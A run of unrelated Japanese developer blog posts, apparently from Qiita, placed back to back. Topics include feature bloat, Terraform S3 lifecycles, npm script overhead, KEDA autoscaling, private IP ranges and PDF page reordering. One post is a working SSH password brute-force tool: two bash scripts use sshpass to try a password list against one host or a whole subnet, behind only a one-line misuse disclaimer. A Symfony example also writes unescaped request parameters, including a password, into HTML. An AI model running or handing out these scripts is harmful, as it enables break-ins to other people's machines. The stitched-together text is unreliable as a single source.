  <dd>スコープの増大、やり過ぎ、過剰な品質など</dd>
  <dt>誤ったソリューション（WRONG SOLUTION）</dt>
  <dd>ビジネス目標に向かっていない過剰で複雑なソリューション</dd>
  <dt>「誰かの好み」で追加した機能（PET FEATURES）</dt>
  <dd>全体の目標に貢献しない、誰かの好みで追加された機能</dd>
  <dt>誤った仮説（WRONG ASSUMPTIONS)</dt>
  <dd>明確でない、検証できない仮説に基づく要件</dd>
  <dt>場当たり的な優先順位付け（AD-HOC PRIORITISATION)</dt>
  <dd>ビジネス価値に基づかない優先順位</dd>
</dl>

よくある問題は「よくある」ものなのだから、誰もが犯す難しい課題であるのは確かなんだけど、根本的な心理に「ないよりあった方がいい」という思いがあるんじゃないかな。ここでは、そんな「あるといいかも」が完全に間違っていることを論じたいと思う。

# 良い要件ってなに？
良い要件、良い機能ってなんだろう。まずは単純に、達成するビジネス価値の大小で並べてみよう。
```
より良い
 |
 | ビジネス目標に対して効果抜群（たくさん使われて、みんなハッピー）
 |
 | ビジネス目標に対して効果いまひとつ（期待ほど使ってくれない）
 |
 | ビジネス目標に対して効果ゼロ（誰も使ってくれない）
 |
より悪い
```
もちろん、上にある方が良くて、下にある方が悪い。でも、これだと「悪い」とまでは言い切れない。

では、損益分岐点はどこだろう。この機能を作ったことで儲けが出たもの、損を出したものはどこだろう。
```
お得 (+)
 |  ビジネス目標に対して効果抜群（たくさん使われて、みんなハッピー）
 |
 ±0 ビジネス目標に対して効果いまひとつ（期待ほど使ってくれない）
 |  
 |  ビジネス目標に対して効果ゼロ（誰も使ってくれない）
大損(-)
```
効果ゼロな機能は、プラスマイナスゼロではなく、マイナスになってるところに注目してほしい。

# 使われない機能が大損な3つの理由

ビジネス目標に対して効果がなかった機能はなぜプラスマイナスゼロではなくてマイナスなのか。それには3つの理由がある。

### 開発にかかったお金がムダ
これはわかりやすく、一般にROIのInvestmentといえばこれ。その機能を開発するには少なくともエンジニアの人件費がかかったはずで、まるまるムダ。

### 開発に使った時間の機会損失
その機能を開発するのにかかった時間は、ほかの機能を開発するのに使えたはずの時間だ。効果のなかった機能の開発に使った時間の分だけほかの機能のリリースが遅れたわけで、そのリリースの遅れた機能が得られるはずだった利益は失われている。優先順位付けが重要なのはこのためだ。

### 複雑さが生み続ける未来のコスト
今回、言いたかったのがまさにこれだ。非エンジニアが意識するのが難しいのもこれだ。詳しく説明したい。

## 複雑になると増えるコスト
たとえば、建築物でたとえると、いまのシステムがこんなだとしよう。
![architecture-house-roof-building-home-suburb-cottage-facade-property-wooden-house-farmhouse-estate-siding-neighbourhood-real-estate-residential-area-outdoor-structure-historic-house-colonial-house-1047149.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3507873/9131f2b8-e74e-9e82-060c-bc469a6e3f37.jpeg)

これに機能追加をどんどんしていくと、こんな立派なものになると期待するかもしれない。
![2347444634_a8420f5f5a_w.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3507873/d9894b40-b77e-e0bf-e848-ad08538fe183.jpeg)

でも、実際にできあがるのは大抵こんな感じだ。
![ハウルの動く城](https://www.ghibli.jp/gallery/howl011.jpg)

想像してみてほしい。次の要件が「壁を白く塗り直して」だとどうなるだろう。最初の家であればできた費用の何倍ものお金がハ◯ルの城ではかかる。後から付けられたたくさんの建築物によって、塗る壁の面積は増え、また構造が複雑になったことで手間も増えた。これだけ複雑だと、塗り残しができたりと不具合も出るだろう。それらは、最初の家のようにシンプルであれば必要なかったものだ。

# 損切りしよう

「でも使ってくれるかどうか、わかんないじゃない」と思うかもしれない。そのとおりだ。未来のことは誰にもわからない。ただ、「わからない」ところではあなたはギャンブルをしていることを認識しないといけない。よりビジネス風に言えばあなたはリスクを負っている。

「あるといいかも」な機能をたくさん使ってもらえたなら、あなたはギャンブルに勝ったのだ。ラッキー。
もし使ってもらえなかったのであれば、あなたはギャンブルに負けたのだ。ギャンブルに負けたときにすべきことはただ一つ。「損切り」だ。

効果が出ているか（使われているか）を継続的にモニタリングしよう。使われなかった残念な機能を切り捨てて、システムをシンプルな状態に戻そう。

さもなければ、ハ◯ルの城はいづれ増えすぎた自重で動かなくなり、誰もメンテナンスできない遺物となるだろう。
SSHに対してBruteForceするシェルスクリプト

悪用厳禁です。
よくわからないなら使わないでください。

# ユーザー名とIPが判明している場合
arguments = username, ip address, password list file
```bash
#!/bin/bash

user_name="${1}"  # Username from the first parameter
ip_address="${2}"  # Specific IP address from the second parameter
password_list="${3:-~/passwords.txt}"  # Path to the password file from the third parameter, defaulting if not provided

echo -e "Attempting to connect to $ip_address with username: $user_name"

# Loop through each password
while IFS= read -r password; do
    echo "Testing password: $password"
    # Use sshpass to attempt to login
    sshpass -p "$password" ssh -o StrictHostKeyChecking=no ${user_name}@${ip_address} "echo 'Success'; exit"
    if [ $? -eq 0 ]; then
        echo "Password found: $password at IP: $ip_address"
        break  # Exit loop if password is correct
    fi
done < "$password_list"
```
# 基本形
arguments = username, ip range, ip_from, ip_to, path_to_passwordlist
```bash
#!/bin/bash

user_name="${1:-pi}"  # Default to 'pi' if no username is provided
ip_range="${2:-192.168.0}"  # Default IP range
ip_from="${3:-1}"
ip_to="${4:-254}"  # Scan all possible IPs in the subnet

echo "Attempting to connect to a Pi with username: ${user_name}\n"

# Path to your password file
password_list="${5:-~/passwords.txt}"

# Loop through each IP in the specified range
for i in $(seq ${ip_from} ${ip_to}); do
    echo "Trying with: ${ip_range}.$i"
    # Loop through each password
    while IFS= read -r password; do
        echo "Testing password: $password"
        # Use sshpass to attempt to login
        sshpass -p "$password" ssh -o StrictHostKeyChecking=no ${user_name}@${ip_range}.$i "echo 'Success'; exit"
        if [ $? -eq 0 ]; then
            echo "Password found: $password at IP: ${ip_range}.$i"
            break 2  # Exit both loops if password is correct
        fi
    done < "$password_list"
done
```

- 使用する場合GPG併用推奨
- Fail2Ban、SSH Configuration、Firewallで防衛推奨
Gitの基本的なコンフリクト解消方法

## コンフリクトの解決

### 問題
複数の人が同じファイルの同じ部分を編集したときに発生します。これを「コンフリクト（衝突）」と呼びます。

### 解決法
コンフリクトが発生したら、Gitはファイルにマークをつけて、どの部分が衝突しているかを示します。以下のような形式になります。

```plaintext
<<<<<<< HEAD
自分の変更
=======
他人の変更
>>>>>>> branch-name
```

これを見て、どちらの変更を保持するか、または両方の変更を組み合わせるかを決め、マークを手動で削除します。その後、ファイルを再びステージングし、コミットします。
TerraformによるS3バケット管理とライフサイクルの最適化

最近、手動で作成された既存のS3バケットをTerraformの管理下に置いて、ライフサイクルポリシーを設定したので、そのときのメモを残します。

# 手順

## ステップ1: Terraformリソースの定義
既存のS3バケットをTerraformリソースとして定義します。以下は`example-dev`という名前の開発用バケットの設定例です。

```hcl
resource "aws_s3_bucket" "example_dev" {
  bucket = "example-dev"

  tags = {
    Environment = "dev"
  }
}
```

## ステップ2: ライフサイクルポリシーの設定
次に、バケットのデータに対するライフサイクルポリシーを設定します。このポリシーは、データを30日後に`STANDARD_IA`ストレージクラスに移行し、90日後に削除するよう設定します。

```hcl
resource "aws_s3_bucket_lifecycle_configuration" "example_dev_lifecycle" {
  bucket = aws_s3_bucket.example_dev.id

  rule {
    id     = "ManageLifecycleAndDelete"
    status = "Enabled"

    transition {
      days          = 30
      storage_class = "STANDARD_IA"
    }

    expiration {
      days = 90
    }
  }
}
```

## ステップ3: リソースのTerraformへのインポート
Terraformが既存のバケットを認識できるように、以下のコマンドを使用してバケットとライフサイクルポリシーをそれぞれインポートします。

```bash
terraform import module.s3.aws_s3_bucket.example_dev example-dev
terraform import module.s3.aws_s3_bucket_lifecycle_configuration.example_dev_lifecycle example-dev
```

## ステップ4: 確認
AWS CLIを使用して、バケットの設定が正しく適用されたことを確認します。

```bash
aws s3api head-object --bucket example-dev --key [オブジェクトキー]
```

# 補足：コスト効率を考慮したライフサイクルポリシーの設定
ライフサイクルポリシーを設計する際には、以下のコスト関連のポイントに注意を払いました。

## 最低保管期間
`STANDARD_IA`ストレージクラスでは最低30日間の保管が必要です。ライフサイクルポリシーで設定した削除期間が30日未満である場合、未経過分の保管料金が発生するので、削除ポリシーは`STANDARD_IA`移行後30日以上空ける必要があります。

## ライフサイクル遷移料金
`STANDARD`クラスから`STANDARD_IA`クラスへの移行には、ライフサイクル遷移料金がかかります。このコストは、データの量だけでなく、データの移行リクエスト数に基づいて計算されます。遷移するデータの件数が多い場合、この料金が無視できない額になるので、小さなオブジェクトが多い場合には注意が必要です。


# 参考
https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket
npm run(npm scripts)を経由すると200msから300msぐらい遅いので対策する

```package.json
  "scripts": {
    "sleep": "sleep 1",
```

```sh:npm run sleep
real	0m1.365s
user	0m0.238s
sys	0m0.066s
```

```sh: sleep 1
real	0m1.008s
user	0m0.001s
sys	0m0.004s
```

環境によりますが200msから300ms程度オーバーヘッドが増えます
開発者体験のほか、CI/CDにも影響が出てきます。塵も積もればコストとなります

気になる方は自分たちのscriptsで検証してみましょう

# 対策

npm scriptsを使わず、直接実行しましょう。

単純なコマンドならscriptsに記述したものを直接実行する。
npmでインストールしたパッケージをcliで使う場合、
`./node_modules/.bin/各種パッケージ`で実行できます
もしくは`./node_modules/.bin`にPATHを通しましょう

もちろん高速化と引き換えに運用管理面で手間が増えるのでトレードオフです

`npm run`を実行する時点で大量にロードが発生することが原因です
技術的な詳細は以下のリンクを確認ください
https://marvinh.dev/blog/speeding-up-javascript-ecosystem-part-4/


Node.js 22以降では
`node --run `を`npm run`の代わりに利用できます
こちらは上記の問題がなく高速化できます

## 対策にならない例
pnpm経由にする

検証したところnpmは経由しなくてもJSのcliツール関係のロードが多いことは変わらないので結局時間がかかる

DenoやBunは未検証です
Undefined type 'App\Controller\Request'というエラーの対処法

# 問題のコード
```php
<?php

namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
// use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;

class HelloController extends AbstractController
{
    #[Route('/hello', name:'hello')]
    public function index(Request $request)
    {   
    $name = $request->get('name');
        $pass = $request->get('pass');
        $result = '<html><body><ol>';
        $result .= '<h1>Parameter</h1>';
        $result .= '<p>name: ' . $name . '</p>';
        $result .= '<p>pass: ' . $pass . '</p>';
        $result .= '</body></html>';

        return new Response($result);
    }
}
```

# 解決方法
```diff_php
<?php

namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+ use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;

class HelloController extends AbstractController
{
    #[Route('/hello', name:'hello')]
    public function index(Request $request)
    {   
    $name = $request->get('name');
        $pass = $request->get('pass');
        $result = '<html><body><ol>';
        $result .= '<h1>Parameter</h1>';
        $result .= '<p>name: ' . $name . '</p>';
        $result .= '<p>pass: ' . $pass . '</p>';
        $result .= '</body></html>';

        return new Response($result);
    }
}
```

`use Symfony\Component\HttpFoundation\Request`をインポートするだけでした。

これで`http://127.0.0.1:8000/hello?name=itiro&pass=flower`にアクセスすると無事にページが表示されました。
SOQLでのNot Like検索

#1 SOQLでのNot Likeの検索、よく忘れてしまうので、メモしておきます。

SOQLでNot Like検索を行うときは、下記の形式になります。
``` SQL
Not Column-Name Like 'テスト%'
```

 
例：
``` SQL
SELECT Id
  FROM Account 
 WHERE Not Name Like 'テスト%'
```
また複数の検索条件があるときにはさらに上記の部分を()で囲む必要があります。
なので検索条件が一つのみでも()で囲むようにしたほうが良いです。
``` SQL
SELECT Id
  FROM Account 
 WHERE (Not Name Like 'テスト%')
```
react-router-dom v6でのnavigateで現在のパスから相対的な移動をしてしまう

# 概要から解決まで

react-router-dom v6 の`useNavigate`の返り値`navigate`でパスを指定しても、現在のパスからの相対的な移動になってしまう。この解決方法で詰まったので記事に残す。

以下、簡易的なコード（面倒なのでRouterを使っていないがコメントから察してほしい）
以下のように`Contact`コンポーネント内から`Profile`のパスを指定して移動する時、`navigate`の最初には`/`を付けておく必要がある
```ts
// path is '/'
const Home = () => {
  return (
    <>
      {/* path is 'contact' */}
      <Contact />
      {/* path is 'profile' */}
      <Profile />
    </>
  )
}

const Contact = (): JSX.Element => {
  const navigate = useNavigate()
  const handleClick = () => {
    // navigate('profile') ← 最初に`/`をつけておく必要がある。このままだと /contact/profile に飛んでしまう
    navigate('/profile')
  }
  return (
    <button type="button" onClick={handleClick}>
      Go to profile
    </button>
  )
}

const Profile = (): JSX.Element => {
  return <div>Profile</div>
}
```
【シリーズすごいぞiQ-F】Gx_Works3のユーザライブラリを使いこなす

個人の印象としては癖が強い印象のGx_Works3のユーザライブラリの使用方法について記事にします。

**記事の流れは以下になります。**
1. **ユーザライブラリの新規作成方法** 
1. **部品選択ウィンドウへのユーザライブラリの登録方法** 
1. **ユーザライブラリの編集と上書き保存について**
1. **編集中のプロジェクトに更新したユーザライブラリを反映させる方法**

## 1.ユーザライブラリの新規作成方法
### プロジェクトファイルを開く
ライブラリ化したい部品が含まれたプロジェクトファイルや空のプロジェクトファイルなど、何でも良いので **プロジェクトファイルをGx_works3で開きます。**

:::note warn
圧縮してあったり、セキュリティの設定がしてあるものはユーザライブラリへエクスポートできません
詳細はGX Work3オペレーティングマニュアルを確認願います
「何でも良い」はちょっと言い過ぎでした
:::

### プロジェクトファイルをライブラリ形式のファイルにエクスポートする
**「プロジェクト」－「ライブラリ操作」－「ライブラリのエクスポート」** でライブラリ形式のファイルにエクスポートします。

:::note warn
1つのフォルダに保存するユーザライブラリファイルは1つにすることをオススメします
:::

## 2.部品選択ウィンドウへのユーザライブラリの登録方法
下記の2種類の方法があります。
+ **「プロジェクト」－「ライブラリ操作」－「ライブラリ一覧に登録」** で登録
+ **部品選択ウィンドウ上部の「ライブラリ一覧に登録」** ボタンで登録

**これで部品選択ウィンドウからプロジェクトにユーザライブラリへ登録したプログラム部品を流用することができるようになります。**

## 3.ユーザライブラリの編集と上書き保存について
部品選択ウィンドウ上に表示されているユーザライブラリを直接編集することはできません。
以下の手順で編集します。

### ユーザライブラリファイルを開く
**「プロジェクト」－「他形式ファイルを開く」－「GX Works3形式」－「ユーザライブラリを開く」** で**名称未設定のプロジェクトファイル**として開きます。

### 開いたプロジェクトファイルを編集する
ユーザライブラリに多数の部品を登録すると一般的なプロジェクトファイルとしては整合性の無いものになっていきます。
なのでプロジェクトファイルとして開かれたユーザライブラリファイル上でプログラムを変換したり動作テストを行うようなことはしないことをオススメします。
私は別のプロジェクトファイルで動作確認を行った部品を名称未設定のプロジェクトファイルとして開いたユーザライブラリプロジェクトに貼り付けるという編集を行っています。

### 上書き保存する方法
一般的な操作で上書き保存しようとするとプロジェクトに名前を付けて保存する操作になってしまいます。
新規作成したときと同様に **「プロジェクト」－「ライブラリ操作」－「ライブラリのエクスポート」** で開いたユーザライブラリファイルを選択して上書きします。

:::note warn
複数のファイルがフォルダに保存されていると誤ったファイルに上書きする危険性が高くなります
:::

### ユーザライブラリを閉じる
名称未設定のプロジェクトファイルとして開かれているので閉じる際には保存するかどうか聞かれます
ライブラリへエクスポートしていれば不要なので構わず保存せずに閉じてください

:::note warn
セキュリティを設定した場合は名前を付けてプロジェクトとして保存するかどうか適宜判断してください
:::

## 4.編集中のプロジェクトに更新したユーザライブラリを反映させる方法
### ライブラリ表示情報の更新
プロジェクト編集中にユーザライブラリの更新を行った場合は、編集中のプロジェクトで下記の操作を行います。

「部品選択ウィンドウで更新したユーザライブラリを右クリック」－「ライブラリの表示情報更新」

ユーザライブラリ更新後に開いたプロジェクトには更新されたものが読み込まれます。

### 既にプログラム中に使用しているプログラム部品をライブラリで更新した場合
**「部品選択ウィンドウで更新したユーザライブラリを右クリック」－「ライブラリ部品の更新」** を行います。
ライブラリでのFBの名称を変更したなどいくつかの場合で完全に更新されない場合があるので **いったん保存してから** 部品の更新操作を行うなど注意してください。

## おわりに
ユーザライブラリは基本的にはプロジェクトファイルです。

わざわざユーザライブラリを使用せず、ひな形になるプロジェクトファイルをいくつか用意してそれから貼り付けるという方法でもある程度代わりが効くと思われます。

私の場合はiQ-Fで分散制御を行う際、FBや構造体などのプログラム部品を共通化させたいという考えがありました。
Melsoft Navigatorがその役目を担ってくれるのかと思ったのですが、そういうものでは無かったのでユーザライブラリを使用し始めました。

ユーザライブラリを更新した際、すでにプロジェクトに配置している部品を更新してくれる操作があるので、ただのプロジェクトファイルから貼り付ける方法よりも私の要望に合っていました。

現在、プログラム部品の作成が中心のプログラミングのワークフローは以下の様になっています。
1. 新規プロジェクトでプログラム部品を作成して動作テストを行う
1. テストが終わったプログラム部品をユーザライブラリに登録
1. 各本番プログラムへユーザライブラリに登録したプログラム部品を適用

色々な資料でデフォルトでは画面右上のユーザライブラリに自由に部品を登録できるイメージ図を見ますがあれは嘘ですよね。
最初にも書きましたが、ちょっと癖が強い操作だと思います。

## 過去記事一覧
+ [過去記事一覧](https://qiita.com/fujiteruo/items/af2459d320e8109963db)
AWS CLOUD PRACTIONERの資格修得のための勉強の方法

## AWS cloud practitionerの資格を取る最も確実な方法

1. AWS training centerの６時間の教育を受け取ること:
    AWS Training Centerでは、AWS Cloud Practitionerの基礎知識を習得するための6時間の集中トレーニングが提供されています。このトレーニングでは、クラウドコンピューティングの基本概念やAWSサービスの概要など、試験範囲に必要な知識を習得することができます。教育プログラムの完了後、AWSの基本的な概念について理解を深めることができます。


1. UDEMYのAWS cloud practitioner模擬試験を２回繰り返す：
    UDEMYで提供されているAWS Cloud Practitioner模擬試験は、試験の形式や内容に沿った実践的な学習を提供します。2回繰り返すことで、問題の形式や解答方法を理解し、試験に対する自信をつけることができます。また、無料で利用できる別のサイトよりもUDEMYの方が信頼性が高く、質の高い模擬試験を提供しています。

1. それでもクラウドや模擬試験の概念がわからない場合、本を買って読む：
    オンライン教材だけでなく、書籍も有用な学習資料です。クラウドや模擬試験の概念がわからない場合は、専門書を購入して復習や理解を深めることが重要です。書籍には実践的な例や詳細な解説が含まれており、理解度を高めるのに役立ちます。


## 試験に落ちた時の対応
- AWS Traning centerから送ってくれる自分の結果をちゃんと分析する。あの中には　4つの分野に分けてもっと勉強する必要がある分野を教えてくれる。実際の試験の点数書かれている
- ２週間後はまだ試験を受けることが可能なので、勉強した残っているうちにまだ試験を取る
- 落ち込む時間を少なくして、試験に出て自分が確実に分かってない部分の分野の議論をやり直す　

## まとめに
これらの方法を組み合わせて、AWS Cloud Practitionerの試験に合格する確率を高めることができます。トレーニングセンターの教育プログラムを受けることで基礎知識を身につけ、模擬試験や書籍を活用して実践的なスキルを磨き、落ちた場合でも迅速に対策を立てることで効率的に試験に備えることができます。
KEDAを使用してEKSのAutoScalingを組む

# 記事概要
EKSにてKEDAを利用してAutoScalingをCloudWatchMetricsをもとに組む

# 対象読者
- EKSを使用してAutoScalingが組みたい
- KEDAを使用したサービスを作りたい

# KEDAを使用したスケーリング
## 前提条件
- EKSのバージョンが1.29
- EKSにて[アプリケーションロードバランサー](https://docs.aws.amazon.com/ja_jp/eks/latest/userguide/alb-ingress.html)が実装されている
- [Metrics Server](https://docs.aws.amazon.com/ja_jp/eks/latest/userguide/metrics-server.html)が実装されている
- [クラスターオートスケーラー](https://github.com/kubernetes/autoscaler/blob/master/cluster-autoscaler/cloudprovider/aws/README.md)が実装されている

## 構築方法
1. [KEDA公式ドキュメント](https://keda.sh/docs/2.14/deploy/)に従ってKEDA(1.24)をデプロイ（YAMLもしくはHelm）
1. kedaのネームスペース内にkeda-operatorというサービスアカウントが作成されるので[ロールをアノテート](https://docs.aws.amazon.com/ja_jp/eks/latest/userguide/associate-service-account-role.html)する。
ロールのポリシーは[公式サイト](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html)を参照し、GetMetricsのアクションを許可。
1. kedaというnamespaceのkeda-operatorという名前のデプロイメントを再作成する
```kubectl rollout restart deployments/keda-operator -n keda```
4. TriggreAuthenticationとScaledObjectのYAMLを作成し、applyする
※`spec.advanced.behavior`はサンプルです。このままやるとよ謎の挙動になります。
[HPAのスケーリングポリシー](https://kubernetes.io/ja/docs/tasks/run-application/horizontal-pod-autoscale/#scaling-policies)を参考に自分で調節してみてください


```yaml:
apiVersion: keda.sh/v1alpha1
kind: TriggerAuthentication
metadata:
  name: auth-keda
  namespace: {アプリの名前空間}
spec:
  podIdentity:
    provider: aws
    identityOwner: keda
---
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: aws-cloudwatch-scaledobject
  namespace: {アプリの名前空間}
spec:
  scaleTargetRef:
    name: {スケーリング対象のデプロイメント}
  minReplicaCount:  0
  advanced:
    horizontalPodAutoscalerConfig:
      behavior:
        scaleDown:
          stabilizationWindowSeconds: 60
          policies:
          - type: Percent
            value: 100
            periodSeconds: 15
        scaleUp:
          stabilizationWindowSeconds: 0
          policies:
          - type: Percent
            value: 20
            periodSeconds: 30
          - type: Pods
            value: 1
            periodSeconds: 30
          selectPolicy: Max
  triggers:
  - type: aws-cloudwatch
    metadata:
      namespace: AWS/ApplicationELB
      dimensionName: TargetGroup
      dimensionValue: {対象となるメトリクスのディメンション名}
      metricName: RequestCountPerTarget
      targetMetricValue: "6"
      minMetricValue: "0"
      metricCollectionTime: "120"
      metricStat: "Sum"
      metricStatPeriod: "60"
      awsRegion: {リージョン}
    authenticationRef:
      name: auth-keda
```
なぜローカルIPアドレスは192.168.x.xが多いのか

# 興味を持った理由
ネットワークの設定でIPアドレスを確認する際や技術書を読む時によく登場するのが`192.168.x.x`といったアドレスです。なぜこのような中途半端な数字を使っているのか疑問に思ったため、今回調べてみました。

# IPアドレスとは？
インターネット上の機器を識別するためには、IPアドレスが必要です。これは「0.0.0.0」から「255.255.255.255」までの範囲の数字4つで構成されています。

IPアドレスはインターネット上で相手を識別するために使われる、住所の役割をしています。すべてのコンピュータは他と被らないIPアドレスを割り当てられており、一元管理されている。このIPアドレスのことを**グローバルIPアドレス**と呼びます。

一方、IPの技術はインターネットに接続してない社内ネットワークや家庭内ネットワークでも使用できます。その全てにグローバルIPアドレスを割り当てるのは非常に大変で、管理コストやグローバルIPアドレスの無駄遣いになり得る。そのため、外部のインターネットに接続されてない機器にはユーザーが自由に設定しても良い**ローカルIPアドレス**が割り当てられます。

ならば今インターネットに接続しているこのPCにはローカルIPアドレスが割り当てられているはずですが、全世界には同じローカルIPアドレスのPCが何百といそうです。実際通信する際にはIPアドレスはどうなっているのでしょうか。



# IPアドレスのクラス分け
IPアドレスは5つのクラスに分けられています。クラスA、B、Cは一般的なネットワークで使用され、クラスDはマルチキャスト、クラスEは将来の使用のために予約されています。

## クラスA
- 範囲: `0.0.0.0` から `127.255.255.255`
- 形式: `0xxxxxxx | xxxxxxxx xxxxxxxx xxxxxxxx`
- ネットワーク数: 126
- ホスト数: 最大1677万7216

## クラスB
- 範囲: `128.0.0.0` から `191.255.255.255`
- 形式: `10xxxxxx xxxxxxxx | xxxxxxxx xxxxxxxx`
- ネットワーク数: 1万6384
- ホスト数: 最大6万5534

## クラスC
- 範囲: `192.0.0.0` から `223.255.255.255`
- 形式: `110xxxxx xxxxxxxx xxxxxxxx | xxxxxxxx`
- ネットワーク数: 209万7152
- ホスト数: 256

## クラスD（マルチキャスト）
- 範囲: `224.0.0.0` から `239.255.255.255`

## クラスE（予約済み）
- 範囲: `240.0.0.0` から `255.255.255.255`

## バイナリ表記
IPアドレスはバイナリで表すことができます。例えば、`192.168.0.1`はバイナリで`11000000 10101000 00000000 | 00000001`となります。

# プライベートIPアドレス
プライベートIPアドレスは`RFC 1918`という規格で決められています。参考サイト欄に載せておりますので、興味のある方はぜひリンクから飛んでみてください。ここではクラスごとのプライベートIPアドレスを記載します

- クラスA: `10.0.0.0` から `10.255.255.255`
- クラスB: `172.16.0.0` から `172.31.255.255`
- クラスC: `192.168.0.0` から `192.168.255.255`

# ルータのローカルIPアドレス
多くのルータでは、プライベートIPアドレス範囲内で覚えやすい`192.168.1.1`がデフォルトアドレスとして設定されることが多いです。

なぜ`192.168.0.0` や`192.168.1.0`じゃないかと言えば、ホスト部のビットがすべて０のアドレスはネットワーク自体を示す**ネットワークアドレス**として設定されているからですね。ちなみにホスト部のビットがすべて１のアドレスは**ブロードキャストアドレス**という、すべてのホストにパケットを送信するアドレスとして設定されています。

クラスAやBを使ってルータのアドレスを設定してもいいじゃないかと思いますが、おそらくクラスAやクラスBを使用すればホスト部の大部分が無駄になるからだと思います。例えばクラスBはホスト数を最大6万5534設定できますが、自宅で使うネットワークにそれだけの機器が接続される可能性は低いですよね。

２0台のPCを接続したとしても`65534 - 20 = 65514`のホストアドレスが無駄になるわけです。


## まとめ
なぜローカルIPアドレスで192.168.x.xが使われるかというのは、`RFC 1918`で決められている且つネットワーク部とホスト部とのバランスによりクラスCのIPアドレスが設定されるためです。

正確には、現在クラスでIPアドレスを判別するというより、サブネットマスクを使うことが多いです。しかし、この記事の知識が無駄になることはないでしょう。サブネットマスクが導入されても基本的な考え方は変わりません

# 参考サイト
https://www.quora.com/Whats-the-history-behind-192-168-1-1-Why-not-192-169-1-1-or-any-other-IP-address-When-did-it-start-being-used-Who-started-it-Why-Why-not-1-1-1-1-What-is-the-relation-to-127-0-0-1-What-about-10-0-0-1-Apple

https://datatracker.ietf.org/doc/html/rfc1918

https://qiita.com/mogulla3/items/efb4c9328d82d24d98e6
PDFファイルのページをPythonで並べ替える方法

PDFドキュメント内のページの並べ替えは、プレゼンテーション用のコンテンツの整理、研究資料の編集、または単に読みやすさを向上させるための情報順序の調整など、さまざまな理由で重要な作業となる場合があります。PDFファイルのページを手動で並べ替えるのは、特に大規模なドキュメントを扱う場合、面倒で時間がかかるプロセスです。幸いなことに、Pythonは、この課題を解決するための効率的なソリューションを提供し、ユーザーはページの並べ替えプロセスを自動化できます。この記事では、Pythonを使用して**PDFページを並べ替える方法**を紹介します。これにより、ドキュメント管理のワークフローを合理化し、より生産的なタスクに貴重な時間を節約できます。

この記事で使用されている方法は、[Spire.PDF for Python](https://www.e-iceblue.com/Download/Spire-PDF-Python.html)を必要とします。PyPI: `pip install Spire.PDF`。

# PythonコードでPDFページを並べ替える
APIの**PdfDocument.Pages.ReArrange(orderArray: List[int])** メソッドを使用して、PDFファイルのページを並べ替えることができます。パラメータorderArrayは整数のリストであり、希望する順序でページインデックスを指定することでPDFページを並べ替えることができます。

PythonでPDFページの順序を並べ替えるための詳細な手順は次のとおりです。

1. 必要なモジュールをインポートします。
2. **PdfDocument**インスタンスを作成します。
3. **PdfDocument.LoadFromFile()** メソッドを使用して、サンプルPDFファイルを読み込みます。
4. **PdfDocument.Pages.ReArrange(orderArray: List[int])** メソッドを使用して、PDFファイルのページ順序を並べ替えます。
5. **PdfDocument.SaveToFile()** メソッドを使用して、結果ファイルを保存します。
6. リソースを解放します。

**コード例**
```python
from spire.pdf.common import *
from spire.pdf import *

# PdfDocumentのインスタンスを作成する
pdf = PdfDocument()

# PDFファイルを読み込む
pdf.LoadFromFile("サンプル.pdf")

# PDFファイル内のページを並び替える
pdf.Pages.ReArrange([0, 3, 5, 4, 1, 2])

# 結果のファイルを保存する
pdf.SaveToFile("output/PDFページの並べ替え", FileFormat.PDF)
pdf.Close()
```

**オリジナルのPDFファイル**
![PDFファイルのページをPythonで並べ替え](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/278784/d072c7ec-06b4-acf2-7d13-fcb3bc90aa08.png)

**並べ替えられたPDFファイル**
![PDFファイルのページをPythonで並べ替え](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/278784/95ff579d-6bb2-fa81-be35-5a37eacdd093.png)

この記事では、Pythonを使用して**PDFファイルのページを並べ替える方法**を示しました。

PDF処理のスキルについては、[Spire.PDF for Pythonチュートリアル](https://www.e-iceblue.com/Tutorials/Python/Spire.PDF-for-Python/Program-Guide/Spire.PDF-for-Python-Program-Guide-Content.html)をご覧ください。

**[無料ライセンスの申請](https://www.e-iceblue.com/TemLicense.html)**
composerで作成したプロジェクトのサーバー起動時エラーが出る

# はじめに
```
php bin/console server:run
```
上記のコマンド実行時にエラーが出たので解決方法をここに綴ります。

# 試したこと
#### website-skeletonプロジェクトの作成
```
composer create-project symfony/website-skeleton プロジェクト名
```
#### プロジェクトのフォルダ内に移動
```
cd プロジェクト名
```
#### サーバーの起動
```
php bin/console server:run
```
上記のコマンドでエラが発生

:::note alert
Command "server:run" is not defined.  
                                        
  Did you mean one of these?            
      dbal:run-sql                      
      server:dump                       
      server:log     
:::

# 原因
server:runコマンドが定義されていないというエラーメッセージが出ています。

Symfonyでは、バージョン4.4以降で`server:run`というコマンドが非推奨とされ、Symfony 5以降では削除されたそうです。そのため、新しいSymfonyプロジェクトで`server:run`コマンドを使おうとするとエラーが発生してしまう。

Symfony 5以降では、開発サーバを起動するためには、PHPの組み込みWebサーバを使用するか、Symfony CLIを利用することが推奨されています。

ここではSymfony CLIを使用した解決方法を綴っておきます。

# 解決方法
[Symfony公式サイト](https://symfony.com/download)にアクセスし、Symfony CLIをインストール

インストールしたら、プロジェクトのルートディレクトリで次のコマンドを実行
```
symfony serve:start
```
`http://127.0.0.1:8000/`にアクセスすることでページを確認できます。

# 終わりに
なるべく新しい本を買うのがいいですね．．．
古い本だと今回みたいに非推奨になっていたりするので。
Lookup と Lookup定義の違い

`Splunk Version 9.2.1`

初心者の自分が理解しにくかったので纏めてみます。

    Lookupファイル：Lookupで情報を検索する際の実体ファイル
    Lookup定義　　：どのようなマッチをさせるか指定する

上記どちらでも | inputlookup, | lookup コマンドの際に使用できる。
但し、Lookup定義のほうが、合致条件を細かく指定できる。

# 図解
